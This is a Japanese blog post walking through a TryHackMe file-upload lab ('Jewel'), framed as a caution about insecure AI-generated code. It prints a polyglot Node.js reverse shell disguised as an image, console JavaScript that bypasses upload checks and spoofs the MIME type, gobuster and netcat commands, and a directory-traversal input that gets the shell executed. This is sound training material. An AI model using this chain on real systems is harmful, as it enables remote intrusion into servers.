0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

「動くコード」が「安全」とは限らない。生成AI時代の自戒として挑むTryHackMe "Jewel" (File Upload) 完全攻略ガイド

Posted at

背景:AI時代の開発における「落とし穴」とセキュリティ

Gemini_Generated_Image_surpeosurpeosurp.png

昨今、v0.app や Cursor といった生成AIツールの進化により、驚くべきスピードでWebアプリケーションを構築できる時代になりました。

これまでは専門的な知識が必要だった実装も、今ではプロンプトひとつで生成可能です。
非ITエンジニアやプログラミング初学者であっても、アイディアさえあれば高機能なアプリを形にできる——それは間違いなく素晴らしい進歩です。

私自身、現在Next.jsベースのアプリケーションを個人開発しています。AIの支援を受けることで、これまで数日かかっていた複雑な機能も、わずか数分で実装できるようになりました。

しかし、その魔法のような開発体験の中で、私はある強烈な危機感を抱くようになりました。

「AIは『動くコード』は書けても、『安全なコード』を保証してくれるわけではない」

なぜ「初心者 × AI」が危険なのか?

プログラミングの経験が浅い場合、AIが提案したコードを「正解」として鵜呑みにしてしまいがちです。
画面が正しく表示され、ボタンを押して機能が動けば、「完成した」と思ってしまうでしょう。しかし、セキュリティの脆弱性は 「表面上の動作」には現れません。

特に、今回取り上げる 「ファイルアップロード機能」 はその典型です。
「画像をアップロードする」という機能自体はAIですぐに作れます。しかし、その裏側で 「もし攻撃者が画像に見せかけたウイルス(プログラム)を送ってきたらどう弾くか?」 という対策まで完璧に実装されているとは限りません。

攻撃者の視点を知ることが、最強の防御になる

開発のハードルが下がった今だからこそ、「作れる人」と「守れる人」のギャップがかつてないほど広がっているのではないでしょうか?
AIにコードを書かせるのが当たり前になった今、開発者(特に初学者)に必要なのは、コードを一行ずつ書く力以上に、「攻撃者がどこを狙ってくるか」を知る力だと私は思います。

この記事は、AI開発の恩恵を享受する一人のエンジニアとしての自戒の記録であり、また私をはじめとした 「AIで作れば大丈夫」と信じている初学者の方への注意喚起として、TryHackMeの「File Upload Vulnerabilities」ルームで学んだ攻撃手法と防衛策をまとめたものです。

目次

  1. 背景:AI時代の開発における「落とし穴」とセキュリティ
  2. 本記事のテーマ:Task 11 "Jewel" の攻略
  3. ⚠️ 【重要】開始前のブラウザ設定 (DNS over HTTPSの無効化)
  4. 攻略環境
  5. Step 1: 偵察 (Reconnaissance)
  6. Step 2: ペイロードの作成 (The Polyglot)
  7. Step 3: フィルタ回避とアップロード (Client-Side Logic Modification)
  8. Step 4: ファイル名の特定 (Gobuster)
  9. Step 5: 実行とフラグ奪取 (RCE via Directory Traversal)
  10. まとめ: 攻撃の全体像 (Attack Chain)

本記事のテーマ:Task 11 "Jewel" の攻略

TryHackMeの人気ルーム「File Upload Vulnerabilities」の最終ボスにあたる課題、Task 11 (Jewel) の完全解説(Walkthrough)です。

このタスクはヒントが極端に少なく、手探り(ブラックボックステスト)で脆弱性を探す必要があります。以下の複数のテクニックを組み合わせる必要があり、非常に実践的です。

  1. Reconnaissance: サーバー技術の特定
  2. Polyglot: 画像とプログラムの両方の性質を持つファイルの作成
  3. Client-Side Bypass: JavaScriptロジックの改ざん
  4. Fuzzing: アップロードされたファイル名の特定
  5. RCE: ディレクトリトラバーサルによる実行

⚠️ 【重要】開始前のブラウザ設定 (DNS over HTTPSの無効化)

このルームに限らず、TryHackMeの課題で .thm ドメイン(VPN内部ドメイン)にアクセスする際、Firefoxの DNS over HTTPS (DoH) 機能が有効になっていると、接続エラー(Server Not Found)になる場合があります。

AttackBoxやご自身の環境で取り組む前に、必ず以下の設定を確認してください。

  1. Firefoxの Settings (設定) を開く。
  2. 一番下までスクロールし、Network Settings (ネットワーク設定) の [Settings...] ボタンをクリック。
  3. 最下部にある Enable DNS over HTTPS のチェックを 外す (OFFにする)

※ここがONになっていると、VPN内のDNSサーバーが無視され、外部のDNS(Cloudflare等)に問い合わせてしまうため、内部ドメインが見つからなくなります。

攻略環境

  • 攻撃端末: AttackBox (または Kali Linux)

  • ターゲット: http://jewel.uploadvulns.thm

  • 使用ツール:

  • Burp Suite: 通信の傍受・改ざん(今回はブラウザコンソールで代用可)

  • Gobuster: 隠しファイルやディレクトリの探索

  • Netcat: リバースシェルの待ち受け

  • Browser DevTools: JavaScriptの解析と実行

  • ワードリスト: Task Filesからダウンロードできる UploadVulnsWordlist.txt を使用。

Step 1: 偵察 (Reconnaissance)

攻撃の第一歩は「相手を知ること」です。特に、ウェブサーバーが どのプログラミング言語で動いているか を特定することは非常に重要です。PHPのサーバーにNode.jsの攻撃コードを送っても動かないからです。

  • ブラウザでターゲットサイトにアクセスし、F12キーで開発者ツールを開きます。
  • Network タブを開き、ページをリロード(F5)します。
  • 一番上のリクエストをクリックし、Response Headers を確認します。
HTTP/1.1 200 OK
X-Powered-By: Express  <-- ここに注目!
Content-Type: text/html; charset=utf-8
...

🕵️‍♂️ 判明した事実:
X-Powered-By: Express というヘッダーが見えます。これは、サーバーが Node.js (Expressフレームワーク) で動作している決定的な証拠です。
したがって、よくあるPHPのリバースシェル(shell.php)はここでは役に立ちません。今回は Node.js用のペイロード(攻撃コード) を作成する必要があります。

Step 2: ペイロードの作成 (The Polyglot)

このサイトには厳重なセキュリティフィルタが存在します。

クライアント側: ブラウザ上で「ファイルサイズ」「拡張子」「マジックナンバー(ファイルヘッダー)」をチェックし、画像以外を弾きます。

サーバー側: 受け取ったファイルを保存しますが、Node.jsとして実行させるには工夫が必要です。

そこで、Polyglot(ポリグロット:多言語)ファイル というテクニックを使います。これは、「あるプログラムには画像として認識され、別のプログラムにはコードとして認識されるファイル」のことです。

以下のコードをコピーし、shell.jpg という名前で保存してください。
※注意: コード内の IPアドレス(10.10.XX.XX) は、あなたの AttackBox の IPアドレスに書き換えてください。

var GIF89a;
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  // ↓ AttackBoxのIPアドレスと待受ポートに変更してください
  client.connect(1234, "10.10.XX.XX", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/;
})();

🧠 なぜこれで騙せるのか?

  • var GIF89a; の役割:
  • 画像判定機にとって: ファイルの先頭にある GIF89a という文字列は、GIF画像のマジックナンバー(ファイルの署名)です。「お、これはGIF画像だな」と誤認して通過させます。
  • Node.jsにとって: これは単なるJavaScriptの 「変数宣言」 です。「GIF89a という変数を定義したんだな」と解釈し、エラーを出さずに次の行の攻撃コードを実行してくれます。

Step 3: フィルタ回避とアップロード (Client-Side Logic Modification)

Webサイトのアップロード用JavaScript (upload.js) は、マジックナンバーが ÿØÿ (JPEG) であるかを厳密にチェックしています。先ほど作った shell.jpg はGIFヘッダー (GIF89a) を持っているため、拡張子が .jpg でも、中身を見られて弾かれてしまいます。

Burp Suiteを使って通信を止める方法もありますが、より手軽で強力な方法として、ブラウザの開発者ツールで 「検証ロジックそのものを無効化して書き換える」 手法をとります。

  • ブラウザで F12 キーを押し、「Console」タブを開きます。
  • 貼り付け許可のため allow pasting と入力してEnterを押します(Firefox等のセキュリティ警告回避)。
  • 以下のJavaScriptコードをコンソールに貼り付けて実行(Enter)します。
// 1. 既存の「セキュリティチェック付き」のイベントを無効化
$("#fileSelect").off("change");
$("#uploadBtn").off("click");

// 2. ボタンを押したらファイル選択が開くように再設定
$("#uploadBtn").click(function(){$("#fileSelect").click()});

// 3. 制限なし&MIMEタイプ偽装機能を搭載した「最強のアップロード機能」を定義
$("#fileSelect").change(function(){
    const fileBox = document.getElementById("fileSelect").files[0];
    const reader = new FileReader();
    reader.readAsDataURL(fileBox);
    reader.onload = function(event){
        console.log("🚀 MIMEタイプを偽装してアップロードを開始します...");
        
        // 元のコードにあったif文(チェック処理)を全削除し、いきなり送信処理を行う
        $.ajax("/", {
            data: JSON.stringify({
                name: fileBox.name,
                type: "image/jpeg", // ★重要: 中身に関わらず「これはJPEG画像です」とサーバーに嘘をつく
                file: event.target.result
            }),
            contentType: "application/json",
            type: "POST",
            success: function(data){
                console.log("✅ サーバーからの返事:", data);
                if(data === "success") {
                    alert("アップロード成功!");
                } else {
                    alert("アップロード失敗... 返事: " + data);
                }
            }
        });
    }
});

  • コード実行後、画面の「Select File」ボタンを押し、作成した shell.jpg を選択します。
  • 通常のチェック機能が死んでいるため、エラーが出ずに「アップロード成功!」のアラートが表示されます。

Step 4: ファイル名の特定 (Gobuster)

アップロードには成功しましたが、サーバーはこのファイルを /content フォルダの中に保存する際、セキュリティ対策として ファイル名をランダムな3文字の英数字(例: ABC.jpg)に変更してしまいます。
自分がアップロードしたファイルを実行するには、この「新しい名前」を知る必要があります。ここで総当たりツール Gobuster の出番です。

準備:
Task Filesからダウンロードしたワードリストを UploadVulnsWordlist.txt として保存しておきます。

実行コマンド:
ここで重要なのが -x jpg オプションです。ワードリストの単語に .jpg を付け加えて検索させます。

gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg

実行結果の読み解き方:

/ABH.jpg              (Status: 200) [Size: 705442]  <-- 既存の壁紙(サイズが大きい)
/LKQ.jpg              (Status: 200) [Size: 444808]  <-- 既存の壁紙(サイズが大きい)
/VZX.jpg              (Status: 200) [Size: 318]     <-- ★これだ!

結果の中に、サイズが極端に小さいファイル(数百バイト程度)が見つかるはずです。テキストだけの攻撃コードは画像に比べて圧倒的に軽いため、これがあなたのアップロードしたシェルです。
このファイル名(例: VZX.jpg)をメモしておきます。

Step 5: 実行とフラグ奪取 (RCE via Directory Traversal)

最後に、Webサイトの管理者ページ (/admin) にある機能を悪用して、アップロードした画像ファイルを 「Node.jsのモジュール(プログラム)」として無理やり読み込ませて実行 します。


リスナーの起動:
AttackBoxのターミナルで、接続を待ち受けます。

nc -lvnp 1234

管理者ページへアクセス:
ブラウザで http://jewel.uploadvulns.thm/admin にアクセスします。
ここには「Modulesディレクトリにあるモジュールを有効化するフォーム」があります。

ディレクトリトラバーサル攻撃:
本来は /modules フォルダの中を見る機能ですが、../ を使ってフォルダを遡り、画像保存フォルダ /content を参照させます。

入力値:

../content/VZX.jpg

(※ VZX.jpg の部分は Step 4 で特定したファイル名に書き換えてください)

実行:
ボタンを押すと、ブラウザは読み込み中のまま止まります。これはサーバー側でシェルが実行された合図です。
AttackBoxのターミナルを確認すると、接続が確立されているはずです!

フラグ確認:

cat /var/www/flag.txt

まとめ: 攻撃の全体像 (Attack Chain)

このタスクをクリアするためには、単一の知識ではなく、Web技術の深い理解と複数の脆弱性の連鎖(Chain)が必要でした。

  1. Recon: サーバーがNode.jsであることを特定し、適切な武器を選ぶ。
  2. Polyglot: 「画像」と「コード」の二面性を持つファイルを作成する。
  3. Bypass: ブラウザの検証ロジックをJavaScriptで動的に書き換えて無効化する。
  4. Discovery: 隠された(リネームされた)リソースを総当たりで特定する。
  5. Execution: 管理機能のディレクトリトラバーサル脆弱性を突き、ファイルを強制実行させる。

便利なツールが増えた今だからこそ、あえて「裏側の仕組み」や「攻撃者の手口」を学ぶことの重要性を痛感しました。 AIの力は借りつつも、最終的な安全性には人間が責任を持つ。そんなエンジニアになれるよう、これからも学びを止めずに進んでいきます。

参考資料

本タスクの攻略にあたり、以下の記事を参考にさせていただきました。
この場を借りて感謝申し上げます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?